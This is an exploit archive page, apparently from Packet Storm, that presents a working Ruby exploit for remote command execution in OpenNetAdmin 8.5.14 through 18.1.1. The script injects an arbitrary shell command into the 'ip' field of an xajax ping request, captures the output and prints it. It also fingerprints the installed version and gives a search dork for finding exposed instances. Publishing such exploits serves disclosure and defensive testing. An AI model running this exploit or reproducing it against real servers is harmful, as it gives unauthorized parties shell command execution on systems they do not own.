what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

OpenNetAdmin 18.1.1 Remote Command Execution

OpenNetAdmin 18.1.1 Remote Command Execution
Posted May 10, 2021
Authored by Alexandre Zanni

OpenNetAdmin versions 8.5.14 through 18.1.1 remote command execution exploit written in Ruby. This exploit was based on the original discovery of the issue by mattpascoe.

tags | exploit, remote, ruby
SHA-256 | b82e6c61d40806f2604b1313677e7f7e64221c2886c94d83d210370a8aca9611

OpenNetAdmin 18.1.1 Remote Command Execution

Change Mirror Download
#!/usr/bin/env ruby

# Exploit
## Title: OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution
## Google Dorks:
## inurl:/ona/
## Author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
## Author website: https://pwn.by/noraj/
## Date: 2021-05-07
## Vendor Homepage: https://github.com/opennetadmin/ona
## Software Link: https://github.com/opennetadmin/ona/archive/refs/tags/v18.1.1.tar.gz
## Version: 8.5.14 to 18.1.1
## Tested on: OpenNetAdmin 18.1.1
## Patch: Use git master branch (no new version released)

# Vulnerabilities
## Discoverer: mattpascoe
## Date: 2019-11-19
## Discoverer website: https://github.com/mattpascoe
## Discovered on OpenNetAdmin 18.1.1
## Vulnerability 1:
## Title: OpenNetAdmin 18.1.1 - Remote Code Execution
## CVE: none
## References: https://www.exploit-db.com/exploits/47691

require 'httpx'
require 'docopt'

doc = <<~DOCOPT
OpenNetAdmin 8.5.14 <= 18.1.1 - Remote Command Execution

Usage:
#{__FILE__} exploit <url> <cmd> [--debug]
#{__FILE__} version <url> [--debug]
#{__FILE__} -h | --help

exploit: Exploit the RCE vuln
version: Try to fetch OpenNetAdmin version

Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen

Examples:
#{__FILE__} exploit http://example.org id
#{__FILE__} exploit https://example.org:5000/ona 'touch hackproof'
#{__FILE__} version https://example.org:5000/ona
DOCOPT

def exploit(root_url, cmd, separator)
params = {
'xajax' => 'window_submit',
'xajaxargs' => ['tooltips', "ip=>; echo #{separator}; #{cmd} 2>&1; echo #{separator}", 'ping']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/#{separator}(.*)#{separator}/m)

return '[-] Target not vulnerable' if res.captures[0].nil?

res.captures[0]
end

def version(root_url)
params = {
'xajax' => 'window_open',
'xajaxargs' => ['app_about']
}

res = HTTPX.post(root_url, form: params).body.to_s.match(/<u>&copy; \d{4} OpenNetAdmin - v(\S+)<\/u>/)

return '[-] Version not found' if res.captures[0].nil?

res.captures[0]
end

begin
args = Docopt.docopt(doc)
pp args if args['--debug']

if args['version']
puts version(args['<url>'])
else
SEPARATOR = '556cc23863fef20fab5c456db166bc6e'.freeze

output = exploit(args['<url>'], args['<cmd>'], SEPARATOR)
puts '[+] Command output:'
puts output
end
rescue Docopt::Exit => e
puts e.message
end
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close